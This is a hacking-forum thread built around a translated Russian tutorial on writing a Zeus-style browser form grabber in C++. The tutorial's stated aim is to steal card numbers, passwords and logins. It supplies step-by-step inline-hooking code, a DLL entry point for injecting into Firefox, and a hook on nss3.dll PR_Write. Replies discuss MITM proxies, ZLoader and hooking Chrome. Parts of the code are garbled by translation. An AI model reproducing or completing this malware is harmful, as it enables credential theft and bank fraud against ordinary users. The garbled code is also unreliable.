Познавательно, спасибо! И обои крутые! )))
Yes, its good example.Another way, hook winsock connect/WSAConnect and grab ip+port and redirect the connection to the local socks proxy server ( which could live as an injected shellcode inside explorer.exe for example ), the main problem with that approach is to add the certificate for traffic MITM to the cert authority
for x86 yes not for x64is this working with new version of firefox? i mean like 118.0.1 (64-bit) ?
not a bad idea , but this will require administrator privilegesYes, its good example.
ZLoader does similar process. It installs a fake certificate to run a proxy locally. The collected data is then redirected via proxy to the C2.
Now iam using proxy to form grabb chromuim based browsersWhat about chrome ssl_write is not exported like old days i tried to hook it by its signature but it's not work probably something wrong while find the addresse , anyone know how to calculate signature correctly ?





int main(int argc, char* argv[])
{
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
}
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Test Hooking", "Hooking", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Original MessageBoxA address 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
}
// Расчет RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// Запись jmp в функцию
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
int MessageBoxB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType)
{
printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
Sleep(10000); // спим, чтобы увидеть эффект перед сбоем, потому что мы еще не завершили полный проект
}
int main(int argc, char* argv[])
{
MessageBoxA(NULL, "Тест Хукинга", "Хукинг", NULL);
HMODULE Huser32dll = GetModuleHandleA("user32.dll");
FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA"));
printf("Оригинальный адрес MessageBoxA 0x%x ", FunctionAddress);
BYTE OriginalBytes[5] = { 0 };
BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL);
// расчет RVA
DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5));
BYTE JmpCode[5] = { 0 };
memcpy_s(JmpCode, 1, "\xE9", 1);
memcpy_s(JmpCode + 1, 4, &RVA, 4);
// ЗАПИСЬ jmp в функцию
WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
MessageBoxA(NULL, "Тест Хукинга", "Хукинг", NULL);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, 0, 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
typedef int (*PTRPR_Write)(SOCKET* fd, char * buf, int amount);
LPVOID TrempolineAddress = NULL;
int HPR_Write(SOCKET* fd, char * buf, int amount)
{
PTRPR_Write fTRPR_Write = (PTRPR_Write)TrempolineAddress;
return fTRPR_Write(fd, buf, amount);
}
AllocConsole();
freopen("CONOUT$", "w", stdout);
/// 2
byte OriginalBytes[7];
DWORD ReadedBytes = 0;
DWORD BytesSize = 7;
FARPROC OriginalPrWriteAddress = GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write");
printf("Оригинальный адрес функции PR_WRITE 0x%x ", OriginalPrWriteAddress);
BOOL readbytes = ReadProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, &OriginalBytes, BytesSize, &ReadedBytes);
/// 3
if (readbytes != FALSE && BytesSize == ReadedBytes)
{
byte JmpBytes[7];
DWORD WrittenBytes = 0;
DWORD dstFunction = (DWORD)&HPR_Write;
DWORD Rva = dstFunction - ((DWORD)OriginalPrWriteAddress + 5);
memcpy_s(JmpBytes, 1, "\xE9", 1);
memcpy_s(JmpBytes + 1, 4, &Rva, 4);
memcpy_s(JmpBytes + 5, 1, "\x90", 1);
memcpy_s(JmpBytes + 6, 1, "\x90", 1);
BOOL WriteJmp = WriteProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, JmpBytes, BytesSize, &WrittenBytes);
/// 4
если WriteJmp != FALSE и BytesSize == WrittenBytes)
{
// здесь код трамплин-функции
}
}
Перевод с английского на русский язык от S3VE7N
Разработка форм-граббера с нуля в стиле банковского ботнета
Написание форм-граббера на C++ за 5 минут, в стиле ботнета Zeus, для перехвата данных Visa, MasterCard, паролей и email-адресов, а также всего, что пользователь вводит в браузере. Прежде чем углубляться, что такое форм-граббер, когда и почему его использовать, а не просто стилер?
1. Что такое форм-граббер
Форм-граббер - это техника, используемая разработчиками вредоносных программ для кражи данных, таких как кредитные карты и данные для входа, и отправки их непосредственно на сервер для хранения в базе данных MySQL. Затем хакер возвращается, чтобы проверить, что он украл, через свой веб-интерфейс. Эта техника особенно полезна, если использовать ее с обратным прокси-сервером SOCKS5 и без утечек, а также с хорошим и быстрым HVNC, который позволяет использовать тот же IP и машину, что и владелец, например, CVV. Это обеспечивает больше доверия при выводе средств.
2. Когда использовать его
Форм-граббер чаще всего используется для целей, у которых есть доступ к важным веб-сайтам, например, логинам PayPal, банковским входам, логинам криптовалютных кошельков, как blockchain.com, kucoin и многие другие сайты, связанные с деньгами, или даже просто колледж. Возможно, хакер нацелен на админа.
3. Почему использовать его, а не просто стилер?
Хороший вопрос: почему бы не использовать стилер, который крадет всё: логины, куки и многое другое? Ответ: сколько раз вы использовали стилер и получали устаревшие куки и недействительные старые пароли? Много раз. Поэтому лучше использовать форм-граббер, который дает вам свежие данные. Например, при обновлении пароля на некоторых сайтах браузер Chrome спрашивает, хотите ли вы обновить или сохранить пароль. Если цель нажимает "Нет" и через несколько часов куки истекают из-за чувствительности сайта, как blockchain.com, со стилером информации вы получите 0, но с форм-граббером вы получите актуальные email, криптокошелек и пароль.
Теперь, думаю, вы понимаете, почему иногда стоит использовать форм-граббер! Внимание, я не говорю, что стилеры плохи.
4. Как работает форм-граббер?
Например, нам нужно написать форм-граббер для Mozilla Firefox. Первый шаг - найти функцию, ответственную за запись буфера на сервер. В библиотеке Winsock у нас есть функции send и recv: send отвечает за отправку данных, а recv - за их прием от сервера. Firefox также использует Winsock, но имеет собственную обертку для библиотеки Winsock, разработанную для работы с Firefox без проблем. И для отправки, и для приема Firefox использует PR_WRITE и PR_READ, а также PR_Recv. Функция PR_READ отвечает за чтение буфера с сервера, а функция PR_WRITE - за запись буфера на сервер. Например, нам нужно войти на paypal.com, twitch.com или любой другой сайт. Для этого мы используем PR_WRITE, чтобы отправить имя пользователя / Email и пароль на сервер, и PR_READ, чтобы прочитать результат с сервера: успешный вход или нет. Я имею в виду все, как HTML, CSS, JavaScript и так далее.
Сегодня мы будем работать над PR_WRITE, чтобы украсть данные для входа или кредитные карты.
Но перед этим давайте узнаем о встроенном хукинге, основной технике, используемой форм-граббером.
5. Что такое встроенный хукинг?
Встроенный хукинг - это техника, позволяющая атакующему или хакерам перехватывать аргументы функций, например, как прокси Burp suit может перехватывать HTTP-запросы, а хукинг позволяет вам перехватывать аргументы. Хукинг широко используется разработчиками вредоносных программ, а также антивирусами, песочницами. Поскольку можно перехватывать аргументы функции, антивирус может, например, перехватывать WriteProcessMemory и читать незашифрованный буфер, например, в Process Hollowing.
Простой пример: у нас есть MessageBoxA, которая имеет 4 аргумента:int MessageBoxA( [in, optional] HWND hWnd, [in, optional] LPCSTR lpText, [in, optional] LPCSTR lpCaption, [in] UINT uType );
Допустим, нам нужно взаимодействовать с этой функцией и изменить ее поведение, например, изменить заголовок или lpText. Чтобы сделать это, нам нужно использовать хукинг. Имейте в виду, это просто примеры, есть много других применений хукинга, например, хуки пользовательского уровня, хукинг веб-браузеров, хукинг Putty и FileZilla, которые также могут использоваться для кражи таких чувствительных данных.
Так что мы обсудили, как работает хукинг на понятном человеку уровне! Теперь обсудим технический путь. Так что успешный API-хукинг требует этих 7 шагов, так что внимательно их прочтите и не пропускайте ни одного шага, чтобы убедиться, что это сработает для вас:
Инлайн-хук может быть разным в зависимости от архитектуры: x32 отличается от x64. При программировании возникает вопрос: почему?
- Получить адрес оригинальной функции
- Прочитать первые 5 байтов из оригинальной функции
- Рассчитать относительный адрес и записать инструкцию jmp в байтовый массив и относительный адрес
- Создать typedef функции трамплина
- Выделить память для функции трамплина
- Скопировать оригинальные 5 байтов, скопировать инструкцию Push и скопировать rva, затем скопировать инструкцию возврата в функцию трамплина
- Хук готов
Память x64 слишком велика, поэтому инструкция jmp не может достичь выделенной памяти.Чтобы решить эту проблему, нам нужно найти свободное место в памяти за целевой функцией. Сейчас мы не будем обсуждать хукинг x64, но скоро перейдем к нему, как только завершим проект хукинга x86. Не волнуйтесь. Теперь, когда вы уже знаете, как работает инлайн-хукинг, я расскажу вам, как технически работает граббер форм.
Теперь вам нужно скачать несколько инструментов, прежде чем мы начнем программировать.
После того, как вы скачаете инструменты, откройте Visual Studio и создайте пустой проект C++. Назовите его "Application" и создайте файл C++ с именем "test.cpp".Прежде чем начать писать граббер форм, нам нужно немного попрактиковаться в хукинге. Для этого сначала нужно написать хук для функции MessageBoxA, перехватить аргументы, изменить их, а также вывести старый аргумент в консоль.
- Интегрированная среда разработки Visual Studio
- Cheat Engine (я рекомендую его, потому что он очень удобен в использовании, но вы можете использовать любой другой дебаггер)
- Скачайте Firefox для обеих архитектур x32 и x64, так как, как мы обсуждали ранее, хукинг для x32 не будет работать для x64, и поскольку мы будем тестировать на обеих, вам нужно скачать обе версии.
Хорошо, после того как вы создали проект и файл test.cpp, теперь напишите следующий код на C++.
C++:int main(int argc, char* argv[]) { HMODULE Huser32dll = GetModuleHandleA("user32.dll"); FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA")); printf("Original MessageBoxA address 0x%x ", FunctionAddress); }
Этот код очень простой. Мы используем функцию GetModuleHandleA для получения базового адреса модуля user32.dll в виде HMODULE, затем используем GetProcAddress для получения адреса экспортируемой функции, которую нам нужно импортировать. Как вы видите, мы используем printf для вывода базового адреса адреса функции, затем создаем переменную типа byte и, наконец, используем ReadProcessMemory для чтения первых пяти байт.
Внимание: минимальное количество байтов, и их требуется 5: 1 для инструкции jmp и 4 для адреса для перехода в x86. Будьте осторожны, некоторые функции требуют копирования более чем 5 байтов, как в PR_WRITE, и скоро мы увидим, почему нам нужно копировать и патчить более 5 байтов.
Отличная работа, мы завершили шаг 1, который описан выше.
Теперь шаг два из семи: Рассчитываем RVA (относительный адрес между целевой функцией и исходной функцией, которая является функцией хука).
Прежде чем рассчитывать относительный адрес, сначала нам нужно объявить функцию хука, как показано на изображении ниже.
[мёртвая ссылка]
Подождите, как мы узнаем, какие аргументы нам нужно добавить? Для этого сначала нам нужно знать аргументы оригинальной функции. Аргументы оригинальной функции следующие:
C++:int main(int argc, char* argv[]) { MessageBoxA(NULL, "Test Hooking", "Hooking", NULL); HMODULE Huser32dll = GetModuleHandleA("user32.dll"); FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA")); printf("Original MessageBoxA address 0x%x ", FunctionAddress); BYTE OriginalBytes[5] = { 0 }; BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL); }
После объявления функции нам нужно рассчитать RVA (Relative Virtual Address - Относительный Виртуальный Адрес). Для этого передайте адрес функции-хука и адрес оригинальной функции, добавив +5 байт к оригинальной функции. Это необходимо сделать после завершения предыдущего шага. Затем объявите новую переменную под названием JmpBytes с типом данных byte. Теперь следует скопировать инструкцию jmp в JmpBytes, а затем скопировать относительный адрес в JmpBytes. Но убедитесь, что вы добавляете +1, чтобы пропустить инструкцию jmp, иначе она перезапишет саму инструкцию jmp. Будьте осторожны: любая малейшая ошибка, и это не будет работать.
C++:// Расчет RVA DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5)); BYTE JmpCode[5] = { 0 }; memcpy_s(JmpCode, 1, "\xE9", 1); memcpy_s(JmpCode + 1, 4, &RVA, 4); // Запись jmp в функцию WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL);
Теперь вернемся к MessageBoxB и, как вы уже знаете, это функция Hook, что видно из приведенного выше кода. И первым шагом мы распечатаем аргументы оригинальной MessageBoxA.
C++:printf("lpText : %s lpCaption : %s \n", lpCaption, lpText);
Мы еще не закончили, остается еще трамплин. Пока что этот код будет работать и печатать аргументы, но после этого упадет, поэтому для целей тестирования добавьте sleep в функцию Hook после печати аргументов, чтобы она не упала сразу, и у нас будет время проверить функцию через Cheat engine. Так что теперь скомпилируйте код, и не забудьте добавить MessageBoxA для загрузки из user32.dll, иначе вам придется использовать LoadLibraryA, а не GetModuleHandle. Итак, в итоге ТЕСТОВЫЙ КОД будет следующим
C++:int MessageBoxB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) { printf("lpText : %s lpCaption : %s \n", lpCaption, lpText); Sleep(10000); // спим, чтобы увидеть эффект перед сбоем, потому что мы еще не завершили полный проект } int main(int argc, char* argv[]) { MessageBoxA(NULL, "Тест Хукинга", "Хукинг", NULL); HMODULE Huser32dll = GetModuleHandleA("user32.dll"); FARPROC FunctionAddress = GetProcAddress(Huser32dll, ("MessageBoxA")); printf("Оригинальный адрес MessageBoxA 0x%x ", FunctionAddress); BYTE OriginalBytes[5] = { 0 }; BOOL RDmemory = ReadProcessMemory(GetCurrentProcess(), FunctionAddress, &OriginalBytes, 5, NULL); // расчет RVA DWORD RVA = ((DWORD)&MessageBoxB - ((DWORD)FunctionAddress + 5)); BYTE JmpCode[5] = { 0 }; memcpy_s(JmpCode, 1, "\xE9", 1); memcpy_s(JmpCode + 1, 4, &RVA, 4); // ЗАПИСЬ jmp в функцию WriteProcessMemory(GetCurrentProcess(), FunctionAddress, JmpCode, 5, NULL); MessageBoxA(NULL, "Тест Хукинга", "Хукинг", NULL); return 0; }
Теперь откройте Cheat Engine и запустите Application.exe, перейдите к MessageBoxA и установите точку останова на функции MessageBoxA. Чтобы найти функцию MessageBoxA, после присоединения к приложению перейдите в 'Просмотр памяти' -> затем 'просмотр' -> затем 'перечислить DLL и символы' и нажмите на это, наконец, найдите MessageBoxA и нажмите на имя функции. Как вы можете видеть, функция до хукинга. Теперь нажмите на сообщение. И это первый перед Хукингом, после нажатия хукинг будет выполнен, и вы должны увидеть аргументы, напечатанные в CMD. Как вы можете видеть, после выполнения хука, CMD печатает аргументы MessageBoxA! Это только это? Нет, мы также можем изменить это и изменить исходные аргументы сообщения, введенные разработчиком, и передать свои. Но прежде чем мы это сделаем, нам нужно создать трамплин, иначе сейчас произойдет сбой.
Для создания трамплин-функции.
- Сначала создайте typedef из функции MessageBoxA
- Создайте переменную LPVOID, которая будет трамплином, убедитесь, что переменная ПУБЛИЧНА, как в коде ниже
- Выделите память с помощью VirtualAlloc и убедитесь, что установите разрешения страницы PAGE_EXECUTE_READWRITE, и размер будет 11! как я узнал размерЧтобы рассчитать размер, сначала нужно добавить скопированные байты, то есть оригинальные 5 байтов, затем 1 для push и 4 для RVA и 1 для возврата, всего получается 11, поэтому нам нужно выделить память размером 11
- Скопируйте оригинальные 5 байтов, которые мы скопировали в первый раз
- скопируйте инструкцию push, но опять же вам нужно добавить +5, и пять представляют размер байтов, так что мы пропускаем первые 5 байтов и не перезаписываем их
- Скопируйте Rva (относительный адрес)
- Скопируйте инструкцию возврата
Теперь вернемся к функции Hook MessageBoxB, которую мы создали, и теперь будем редактировать аргументы оригинальной функции MessageBoxAТеперь создайте указатель на адрес трамплина, который мы выделили ранее, и присвойте тип typedef, который мы создали ftrempolineMessageBox, и сделайте возврат к нему, теперь вы можете передать любую строку, которую хотите в аргументы, смотрите изображение нижеЗакончили, мы завершили Хукинг, и вот полный код без снаСкомпилируйте код и запустите его, теперь он должен работать без ошибокКак вы можете видеть в сообщении текст изменен на мой текст.
Видео рабочего доказательства
Внимание: До сих пор мы работали с тем же exe. В следующем разделе мы будем работать с dll и инжектировать dll в процесс Firefox. Затем мы установим хук из dll, исправим переход и прочитаем буфер из функции хука PR_WRITE. Но сейчас мы не будем читать MessageBoxA, вместо этого мы прочитаем буфер, который браузер отправляет на сервер, и проанализируем имя пользователя и пароль. Поздравляем. Теперь создайте еще два проекта, оба - пустые проекты C++. Первый назовите 'hook', а второй - 'injector'. Перейдите в 'hook', затем в свойства проекта и далее -> Расширенные и измените целевое расширение на .dll. Теперь создайте injector.cpp и hook.cpp в обоих проектах.
Добавьте приведенный выше код в файл hook.cpp.C++:BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)InstallHook, NULL, 0, 0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
Это не сложно, мы просто пишем точку входа DLL и создаем поток для вызова нашей функции под названием Installhook. Функция Installhook будет использоваться для установки хука и создания трамплина. Теперь нам нужно найти и определить в файле C++ несколько требований, как мы делали раньше, нам нужно найти тип и аргументы, используемые PR_WRITE, что мы делали для MessageBoxA в приведенном выше коде. Слава БОГУ, исходный код Firefox доступен в документации исходного кода Firefox. Перейдите на https://firefox-source-docs.mozilla.org/nspr/reference/pr_write.html, чтобы найти PR_WRITE. Затем создайте typedef из функции и также создайте функцию хука из функции PR_WRITE: PRInt32 PR_Write(PRFileDesc *fd, const void *buf, PRInt32 amount). Теперь ваш код должен быть таким.
C++:typedef int (*PTRPR_Write)(SOCKET* fd, char * buf, int amount); LPVOID TrempolineAddress = NULL; int HPR_Write(SOCKET* fd, char * buf, int amount) { PTRPR_Write fTRPR_Write = (PTRPR_Write)TrempolineAddress; return fTRPR_Write(fd, buf, amount); }
Как вы можете видеть, я изменил PRFileDesc на указатель SOCKET и const void*. Вы также можете изменить его на char*. Ну, думаю, вы уже знаете, что это такое. Не беспокойтесь о функции возврата на адрес трамплина; мы выделим память из функции InstallHook. Для более подробной информации отладки мы можем выделить консоль, используя код выше.
C++:AllocConsole(); freopen("CONOUT$", "w", stdout);
Добавьте код в функцию InstallHook. Теперь, прежде чем мы прочитаем байты из оригинальной функции, помните, когда я говорил вам выше, что некоторые функции требуют чтения и исправления более чем пяти байт? Теперь я расскажу вам почему. Сначала запустите браузер Firefox, а затем запустите Cheat Engine и присоедините его к Firefox. Нажмите 'Открыть', затем 'Просмотр памяти', затем 'просмотр' на панели инструментов Cheat Engine и, наконец, нажмите на 'Перечислить dll и символы'. Или просто используйте горячие клавиши на клавиатуре, чтобы открыть 'Перечислить dll и символы', набрав Ctrl + Alt + S. Теперь найдите PR_WRITE. Как только Cheat Engine его найдет, нажмите на это. Это должно привести вас к функции PR_WRITE. Сосредоточьтесь на функции PR_WRITE и прочтите первые пять байтов. Да, если мы скопируем пять байтов, это нарушит mov esi,[ebp+10]. Итак, чтобы исправить эту проблему, нам нужно скопировать семь байтов вместо пяти, начиная с push EPB до move esi. Почему? Потому что, как вы уже знаете, инструкция jmp занимает 1 байт, а адрес, на который мы хотим перейти, занимает четыре байта, так что всего получается пять, но мы также можем скопировать более пяти, как в этой ситуации. Теперь вернитесь в Visual Studio и добавьте следующий код в функцию InstallHook.
C++:/// 2 byte OriginalBytes[7]; DWORD ReadedBytes = 0; DWORD BytesSize = 7; FARPROC OriginalPrWriteAddress = GetProcAddress(GetModuleHandleA("nss3.dll"), "PR_Write"); printf("Оригинальный адрес функции PR_WRITE 0x%x ", OriginalPrWriteAddress); BOOL readbytes = ReadProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, &OriginalBytes, BytesSize, &ReadedBytes); /// 3 if (readbytes != FALSE && BytesSize == ReadedBytes) { byte JmpBytes[7]; DWORD WrittenBytes = 0; DWORD dstFunction = (DWORD)&HPR_Write; DWORD Rva = dstFunction - ((DWORD)OriginalPrWriteAddress + 5); memcpy_s(JmpBytes, 1, "\xE9", 1); memcpy_s(JmpBytes + 1, 4, &Rva, 4); memcpy_s(JmpBytes + 5, 1, "\x90", 1); memcpy_s(JmpBytes + 6, 1, "\x90", 1); BOOL WriteJmp = WriteProcessMemory(GetCurrentProcess(), (LPVOID)OriginalPrWriteAddress, JmpBytes, BytesSize, &WrittenBytes); /// 4 если WriteJmp != FALSE и BytesSize == WrittenBytes) { // здесь код трамплин-функции } }
Здесь мы получаем адрес модуля или Dll, который для браузера Firefox - это 'nss3', а название функции - 'PR_WRITE'. Затем мы читаем семь байтов из оригинальной функции. Проверяем, нет ли ошибки при чтении байтов; если ошибки нет, рассчитываем RVA (Относительный Адрес). Затем копируем инструкцию перехода в переменную массива байтов. Теперь копируем Относительный Адрес в ту же переменную, которая является массивом байтов. Наконец, копируем '/xE9', что означает 'nop' или 'код без действия'. Этот 'nop' не требуется во всех Встроенных Хуках; если вы помните, когда мы внедряли хук в функцию MessageBoxA, мы не использовали 'nop', потому что там нет лишних байтов, как в функции 'PR_WRITE'. Надеюсь, вы меня поняли. Внимание: мы можем использовать 'memcpy' в качестве альтернативы 'ReadProcessMemory' и 'WriteProcessMemory', но тогда вам нужно будет использовать 'VirtualProtect', чтобы изменить защиту адреса, куда вы будете копировать байты, и восстановить ее до оригинальной защиты после завершения. Теперь используйте 'WriteProcessMemory', чтобы записать Инструкцию Хука или Перехода в Оригинальную Функцию. И не волнуйтесь, функция 'WriteProcessMemory' сделает за нас изменение защиты, и нам не нужно использовать 'VirtualProtect'. Теперь, если вы умны и сосредоточены на коде, вы увидите, что когда мы рассчитываем Относительный адрес, мы добавляем пять +5, а не +7. Это потому что, как мы говорили ранее, Инструкция Перехода и адрес составляют пять байтов в системе x86. Окей, теперь мы просто используем 'if' для проверки наличия ошибок при записи байтов; если ошибок нет, теперь мы создаем Трамплин. Итак, размер трамплина отличается: мы копируем 7 байтов, 'push' - это 1 байт, Rva - 4 байта, и возврат тоже 1 байт, так что всего получается 13 байтов. Вот как мы их рассчитываем. Теперь копируем все это с помощью 'memcpy_s', и не нужно использовать 'WriteProcessMemory', потому что адрес уже выделен, и мы копируем их напрямую. Отлично сделано! Теперь запустите Cheat Engine и Firefox и Process Hacker, чтобы внедрить нашу dll в Firefox. Здесь я запишу видео, чтобы показать вам полное доказательство концепции (POC) работающей DLL.
Конец, перевод с английского на русский язык от S3VE7N.
*Изображения отсутствуют по причине их недоступности.
Bro, I'm injecting the DLL file from the project code into Firefox, but there's no response. Can you explain how I should proceed in Visual Studio, please? Thank you
make sure you have firefox x86Bro, I'm injecting the DLL file from the project code into Firefox, but there's no response. Can you explain how I should proceed in Visual Studio, please? Thank you